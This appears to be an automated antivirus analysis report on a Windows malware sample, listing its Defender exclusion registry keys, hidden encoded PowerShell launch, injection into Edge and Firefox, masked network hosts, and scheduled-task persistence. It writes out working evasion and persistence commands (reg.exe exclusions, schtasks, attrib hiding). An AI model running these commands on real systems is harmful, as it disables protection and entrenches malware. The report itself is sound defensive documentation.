Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '' = ''
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\OfficeBroker' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy' = '00000000'
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnA...
Injects code into
the following user processes:
- msedge.exe
- firefox.exe
Network activity
Connects to
- 't.#e':443
- 'an####toaster.com':443
TCP
Other
- 't.#e':443
- 'an####toaster.com':443
UDP
- DNS ASK t.#e
- DNS ASK an####toaster.com
Miscellaneous
Executes the following
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --headless --incognito
- '%ProgramFiles%\mozilla firefox\firefox.exe' --headless --disable-gpu
- '<SYSTEM32>\attrib.exe' +h +s %LOCALAPPDATA%\Microsoft\OfficeBroker
- '<SYSTEM32>\attrib.exe' +h +s %LOCALAPPDATA%\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %LOCALAPPDATA%\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %LOCALAPPDATA%\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
- '<SYSTEM32>\gpupdate.exe' /force /target:computer
- '<SYSTEM32>\schtasks.exe' /create /tn WindowsSystemService /tr %LOCALAPPDATA%\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
- '<SYSTEM32>\schtasks.exe' /create /tn RuntimeBrokerService /tr "%LOCALAPPDATA%\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
- '<SYSTEM32>\gpupdate.exe' /force /target:computer' (with hidden window)
- '%LOCALAPPDATA%\microsoft\officebroker\svchost.exe' ' (with hidden window)
